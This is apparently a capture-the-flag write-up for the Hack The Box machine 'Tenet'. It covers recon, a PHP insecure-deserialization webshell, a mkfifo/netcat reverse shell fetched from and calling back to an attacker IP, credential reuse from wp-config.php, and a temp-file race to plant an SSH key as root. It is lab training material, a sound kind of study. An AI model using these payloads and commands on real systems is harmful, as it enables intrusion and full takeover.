tenet

Share on:

tenet

Introduction:

Recon

Nmap scan

 1eneloop@kinetic:.../hackthebox/tenet/data$ sudo nmap -sS -sV -sC -T4 -O -oN nmap.tenet.txt 10.10.10.223
 2Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-07 21:41 EDT
 3Nmap scan report for 10.10.10.223
 4Host is up (0.082s latency).
 5Not shown: 998 closed ports
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
10|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
11|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
1280/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
13|_http-server-header: Apache/2.4.29 (Ubuntu)
14|_http-title: Apache2 Ubuntu Default Page: It works
15No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
16TCP/IP fingerprint:
17OS:SCAN(V=7.91%E=4%D=4/7%OT=22%CT=1%CU=30910%PV=Y%DS=2%DC=I%G=Y%TM=606E5F79
18OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS(
19OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11
20OS:NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
21OS:R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
22OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
23OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
24OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
25OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
26OS:S)
27
28Network Distance: 2 hops
29Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
30
31OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
32Nmap done: 1 IP address (1 host up) scanned in 23.62 seconds
33

Enumeration

Home

 1eneloop@kinetic:/oscp/tools$ wpscan --url http://tenet.htb
 2_______________________________________________________________
 3         __          _______   _____
 4         \ \        / /  __ \ / ____|
 5          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
 6           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
 7            \  /\  /  | |     ____) | (__| (_| | | | |
 8             \/  \/   |_|    |_____/ \___|\__,_|_| |_|
 9
10         WordPress Security Scanner by the WPScan Team
11                         Version 3.8.11
12       Sponsored by Automattic - https://automattic.com/
13       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
14_______________________________________________________________
15
16[i] It seems like you have not updated the database for some time.
17Y
18[i] Updating the Database ...
19[i] Update completed.
20
21[+] URL: http://tenet.htb/ [10.10.10.223]
22[+] Started: Wed Apr  7 21:48:25 2021
23
24Interesting Finding(s):
25
26[+] Headers
27 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
28 | Found By: Headers (Passive Detection)
29 | Confidence: 100%
30
31[+] XML-RPC seems to be enabled: http://tenet.htb/xmlrpc.php
32 | Found By: Direct Access (Aggressive Detection)
33 | Confidence: 100%
34 | References:
35 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
36 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
37 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
38 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
39 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
40
41[+] WordPress readme found: http://tenet.htb/readme.html
42 | Found By: Direct Access (Aggressive Detection)
43 | Confidence: 100%
44
45[+] Upload directory has listing enabled: http://tenet.htb/wp-content/uploads/
46 | Found By: Direct Access (Aggressive Detection)
47 | Confidence: 100%
48
49[+] The external WP-Cron seems to be enabled: http://tenet.htb/wp-cron.php
50 | Found By: Direct Access (Aggressive Detection)
51 | Confidence: 60%
52 | References:
53 |  - https://www.iplocation.net/defend-wordpress-from-ddos
54 |  - https://github.com/wpscanteam/wpscan/issues/1299
55
56[+] WordPress version 5.6 identified (Outdated, released on 2020-12-08).
57 | Found By: Rss Generator (Passive Detection)
58 |  - http://tenet.htb/index.php/feed/, <generator>https://wordpress.org/?v=5.6</generator>
59 |  - http://tenet.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.6</generator>
60
61[+] WordPress theme in use: twentytwentyone
62 | Location: http://tenet.htb/wp-content/themes/twentytwentyone/
63 | Last Updated: 2021-03-09T00:00:00.000Z
64 | Readme: http://tenet.htb/wp-content/themes/twentytwentyone/readme.txt
65 | [!] The version is out of date, the latest version is 1.2
66 | Style URL: http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0
67 | Style Name: Twenty Twenty-One
68 | Style URI: https://wordpress.org/themes/twentytwentyone/
69 | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
70 | Author: the WordPress team
71 | Author URI: https://wordpress.org/
72 |
73 | Found By: Css Style In Homepage (Passive Detection)
74 |
75 | Version: 1.0 (80% confidence)
76 | Found By: Style (Passive Detection)
77 |  - http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0, Match: 'Version: 1.0'
78
79[+] Enumerating All Plugins (via Passive Methods)
80
81[i] No plugins Found.
82
83[+] Enumerating Config Backups (via Passive and Aggressive Methods)
84 Checking Config Backups - Time: 00:00:00 <=========================================> (22 / 22) 100.00% Time: 00:00:00
85
86[i] No Config Backups Found.
87
88[!] No WPScan API Token given, as a result vulnerability data has not been output.
89[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
90
91[+] Finished: Wed Apr  7 21:48:30 2021
92[+] Requests Done: 62
93[+] Cached Requests: 5
94[+] Data Sent: 14.01 KB
95[+] Data Received: 16.4 MB
96[+] Memory used: 208.395 MB
97[+] Elapsed time: 00:00:05
98

Neil’s comment about sator.php Also, Rotas=sator because its TENET!

sator

1eneloop@kinetic:/oscp/tools$ tail -1 /etc/hosts
210.10.10.223 tenet.htb rotas.htb sator.htb
3eneloop@kinetic:/oscp/tools$ 
4

Visit : http://rotas.htb/sator.php

Response is:

1[+] Grabbing users from text file
2[] Database updated 

Which means, there may be text files that hold data/information that may be useful. Lets kick off directory scan for text files and see what we find.

 1eneloop@kinetic:.../hackthebox/tenet/data$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://rotas.htb -x txt
 2===============================================================
 3Gobuster v3.0.1
 4by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
 5===============================================================
 6[+] Url:            http://rotas.htb
 7[+] Threads:        10
 8[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 9[+] Status codes:   200,204,301,302,307,401,403
10[+] User Agent:     gobuster/3.0.1
11[+] Extensions:     txt
12[+] Timeout:        10s
13===============================================================
142021/04/07 22:16:52 Starting gobuster
15===============================================================
16/users.txt (Status: 200)
17/wordpress (Status: 301)
18Progress: 5202 / 220561 (2.36%)
19

In Neil’s comments, he is asking about moving the sator php file and backup. This means there is a possibility that neil may have saved a file with other than .php extension and the server will not execute that. In that case, we should be able to download the file and examine.

Lets come up with typical extensions used by developers to create backups of the files on disk.

 1eneloop@kinetic:.../hackthebox/tenet/data$ cat extensions.txt 
 2backup
 3save
 4old
 5orig
 6org
 7bak
 8bkp
 9bkup
10eneloop@kinetic:.../hackthebox/tenet/data$ wfuzz -w extensions.txt http://rotas.htb/sator.php.FUZZ
11 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
12********************************************************
13* Wfuzz 3.1.0 - The Web Fuzzer                         *
14********************************************************
15
16Target: http://rotas.htb/sator.php.FUZZ
17Total requests: 8
18
19=====================================================================
20ID           Response   Lines    Word       Chars       Payload                         
21=====================================================================
22
23000000001:   404        9 L      31 W       271 Ch      "backup"                        
24000000002:   404        9 L      31 W       271 Ch      "save"                          
25000000003:   404        9 L      31 W       271 Ch      "old"                           
26000000008:   404        9 L      31 W       271 Ch      "bkup"                          
27000000006:   200        31 L     70 W       514 Ch      "bak"                           
28000000004:   404        9 L      31 W       271 Ch      "orig"                          
29000000007:   404        9 L      31 W       271 Ch      "bkp"                           
30000000005:   404        9 L      31 W       271 Ch      "org"                           
31
32Total time: 0
33Processed Requests: 8
34Filtered Requests: 0
35Requests/sec.: 0
36
37

“bak” has an unusual response, when you access http://rotas.htb/sator.php.bak, you can download the backup file that neil was talking about in his comments.

Exploitation

Here is how the php script looks like. We have the “public function __destruct()” method which will automatically run at the program termination and we also see the insecure unserialize for the user input. Looks like we can exploit this vulnerability in this program by passing a malicious serialized object and writing a file that we can execute on the host.

 1<?php
 2
 3class DatabaseExport
 4{
 5	public $user_file = 'users.txt';
 6	public $data = '';
 7
 8	public function update_db()
 9	{
10		echo '[+] Grabbing users from text file <br>';
11		$this-> data = 'Success';
12	}
13
14
15	public function __destruct()
16	{
17		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
18		echo '[] Database updated <br>';
19	//	echo 'Gotta get this working properly...';
20	}
21}
22
23$input = $_GET['arepo'] ?? '';
24$databaseupdate = unserialize($input);
25
26$app = new DatabaseExport;
27$app -> update_db();
28
29
30?>
31
32

Lets create our payload now by testing all of it locally-

Prepare payload locally

 1eneloop@kinetic:.../hackthebox/tenet/data$ cat attack.php 
 2<?php
 3
 4class DatabaseExport
 5{
 6	public $user_file = 'wmxxx.php';
 7	public $data = '<;
 8        //public $arepo = 'uname -a';
 9
10	public function update_db()
11	{
12		echo '[+] Grabbing users from text file <br>';
13		$this-> data = 'Success';
14	}
15}
16
17//$input = $_GET['arepo'] ?? '';
18//$databaseupdate = unserialize($input);
19//echo serialize($input)
20
21$app = new DatabaseExport;
22//$app -> update_db();
23echo htmlspecialchars(serialize($app));
24
25?>
26

Run a local php server : eneloop@kinetic:…/hackthebox/tenet/data$ php -S 127.0.0.1:8080

1http://127.0.0.1:8080/attack.php
2
3O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"wmxxx.php";s:4:"data";s:29:"<;} 
4

Rename the sator.php.bak to sator.php locally and tryout your payload is working -

On browser visit -

http://127.0.0.1:8080/sator.php?arepo=O:14:%22DatabaseExport%22:2:{s:9:%22user_file%22;s:9:%22wmxxx.php%22;s:4:%22data%22;s:29:%22%22;}

1[+] Grabbing users from text file
2[] Database updated
3[] Database updated 

Now, its should have written both users.txt as well as out wmxxx.php file with out backdoor.

 1eneloop@kinetic:.../hackthebox/tenet/data$ ls -otr
 2total 180
 3drwxrwx--- 1 root  4096 Apr  7 21:39 payload
 4-rwxrwx--- 1 root  1760 Apr  7 21:42 nmap.tenet.txt
 5-rwxrwx--- 1 root 15694 Apr  7 21:45 box_header.png
 6-rwxrwx--- 1 root 15251 Apr  7 21:45 box-thumb.png
 7-rwxrwx--- 1 root 38418 Apr  7 21:46 neil-wordpress-home.png
 8-rwxrwx--- 1 root 22612 Apr  7 21:47 sator-php.png
 9-rwxrwx--- 1 root   107 Apr 11 09:30 customwords.txt
10-rwxrwx--- 1 root    38 Apr 11 09:37 extensions.txt
11-rwxrwx--- 1 root   514 Apr 11 09:45 sator.php.bak
12-rwxrwx--- 1 root 46694 Apr 11 09:46 sator-bakup.png
13-rwxrwx--- 1 root   514 Apr 11 10:27 sator.php
14-rwxrwx--- 1 root   462 Apr 11 10:38 attack.php
15-rwxrwx--- 1 root    29 Apr 11 10:39 wmxxx.php
16-rwxrwx--- 1 root     7 Apr 11 10:39 users.txt
17eneloop@kinetic:.../hackthebox/tenet/data$ cat wmxxx.php 
18<eneloop@kinetic:.../hackthebox/tenet/data$ 
19

Let’s test this locally and then proceed to actual exploit -

On browser -

1http://127.0.0.1:8080/wmxxx.php?wm=uname%20-a
2
3Linux kinetic 5.9.0-kali4-amd64 #1 SMP Debian 5.9.11-1kali1 (2020-12-01) x86_64 GNU/Linux 
4

it works!

Repeat this against the actual web server!

Exploit the target

Lets read the /etc/passwd file on the target machine -

Users on target machine

Now, lets send a reverse shell to the target host so we can get the initial foothold as www-data user and then we can try to migrate laterally to neil account.

1eneloop@kinetic:.../hackthebox/tenet/data$ cat revsh.php 
2<?php
3passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.10.14.3 4444 >/tmp/f");
4?>
5eneloop@kinetic:.../hackthebox/tenet/data$ 
6

Access : http://rotas.htb/wmxxx.php?wm=wget%20%22http://10.10.14.3:8000/revsh.php%22

Now, access the reverse shell and catch it by putting up a listener on the attack machine.

http://rotas.htb/revsh.php

Post-exploit/PrivEsc

 1$ ls -l
 2total 36
 3-rw-r--r-- 1 www-data www-data 10918 Dec 16 11:19 index.html
 4-rw-r--r-- 1 www-data www-data   105 Apr 11 15:51 revsh.php
 5-rwxr-xr-x 1 www-data www-data   514 Dec 17 09:40 sator.php
 6-rwxr-xr-x 1 www-data www-data   514 Dec 17 09:52 sator.php.bak
 7-rw-r--r-- 1 www-data www-data     7 Apr 11 14:49 users.txt
 8-rw-r--r-- 1 www-data www-data    29 Apr 11 14:49 wmxxx.php
 9drwxr-xr-x 5 www-data www-data  4096 Apr 11 13:43 wordpress
10$ cd wordpress
11
12$ pwd
13/var/www/html/wordpress
14$ 
15

wp-config.php should have som passwords, lets investigate. We see here that there is a user matching OS user neil and the db password could be neil’s OS password, lets try that for SSH.

1/** MySQL database username */
2define( 'DB_USER', 'neil' );
3
4/** MySQL database password */
5define( 'DB_PASSWORD', 'OXXXXXXXXXXXXX2' );
6

SSH into the machine as neil and provide password we got above.

 1eneloop@kinetic:.../hackthebox/tenet/data$ ssh tenet.htb -l neil
 2The authenticity of host 'tenet.htb (10.10.10.223)' can't be established.
 3ECDSA key fingerprint is SHA256:WV3NcHaV7asDFwcTNcPZvBLb3MG6RbhW9hWBQqIDwlE.
 4Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
 5Warning: Permanently added 'tenet.htb,10.10.10.223' (ECDSA) to the list of known hosts.
 6[email protected]'s password: 
 7Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
 8
 9 * Documentation:  https://help.ubuntu.com
10 * Management:     https://landscape.canonical.com
11 * Support:        https://ubuntu.com/advantage
12
13  System information as of Sun Apr 11 16:05:36 UTC 2021
14
15  System load:  0.0                Processes:             175
16  Usage of /:   15.1% of 22.51GB   Users logged in:       0
17  Memory usage: 10%                IP address for ens160: 10.10.10.223
18  Swap usage:   0%
19
20
2153 packages can be updated.
2231 of these updates are security updates.
23To see these additional updates run: apt list --upgradable
24
25
26Last login: Thu Dec 17 10:59:51 2020 from 10.10.14.3
27neil@tenet:~$ 
28
29

It worked!

User flag

Get the user flag from neil’s home directory.

1neil@tenet:~$ ls -l
2total 4
3-r-------- 1 neil neil 33 Apr 11 13:26 user.txt
4neil@tenet:~$ 

Privesc

Now, we need to escalate our access to root. Lets find out more about neil by investigating his group memberships, sudo access and if he has any sensitive information saved on the host.

Looks like neil has sudo access and he can run “/usr/local/bin/enableSSH.sh” as root, this could be our way to get priv escalation.

1neil@tenet:~$ sudo -l
2Matching Defaults entries for neil on tenet:
3    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
4
5User neil may run the following commands on tenet:
6    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
7neil@tenet:~$ 
8
9

The enableSSH is using “mktemp -u SSH-XXXXXXX” to generate a randomized name for a temporary file which is being used to copy the root public key into the authorized keys file.

Generate a key pair for neil and note the public key. If we are able to write to the temporary file after it was generated and before it was copied into the authorized key of the root user, we may get access to the root user.

Lets start a while loop to overwrite all SSH-* type files in /tmp with neil’s key and try running the enableSSH script in a different window.

1neil@tenet:/tmp$ while true
2> do
3> echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6G+wSIUxbYcEV28VSOSOKG7vino0x6GTjgkWtsAxZPch9b4TMipQdS4T9uqBvYdsAiusFB0MYZyEsq/WIjFo5IsZOIUJBZS4o2k9ME0ejOSOzdEVz2CqkKdBBjb7h3wTFDFOGwA6mmqtNxEpryQrZRV9K7S/uMBsGwWOCpVrd2MrbP0pVSr6W8tJ5dH4eBRn+NzqnFKARi3WftY8aCZ1OOovgmx8nxxOsNAbT45AJszSFZk9CYR96QR7oYqwCjVV/ieL83gcGDrocTA501dFNW8521q/vMpq4yoHGQ2mE1TS0VMgJsfH7G8dmEibBIqhSFDeoKKc9j0ky0Zwcdp2N neil@tenet" | tee /tmp/ssh-* >/dev/null;
4> done
5

And now, lets run this script in a loop until neil’s key is added

for i in {1..1000} ; do sudo /usr/local/bin/enableSSH.sh; done

 1neil@tenet:~$ ssh root@localhost
 2Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
 3
 4 * Documentation:  https://help.ubuntu.com
 5 * Management:     https://landscape.canonical.com
 6 * Support:        https://ubuntu.com/advantage
 7
 8 System information disabled due to load higher than 2.0
 9
10
1153 packages can be updated.
1231 of these updates are security updates.
13To see these additional updates run: apt list --upgradable
14
15Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
16
17
18Last login: Thu Feb 11 14:37:46 2021
19root@tenet:~# 
20

Finally! It took a couple of tries before we could write the desired public key into the authorized keys of the root user and now we have access to root!

Notes: - Read about SSH PKI setup and use of authorized keys for passwordless access - PHP serialization issues and similar issues in python and java.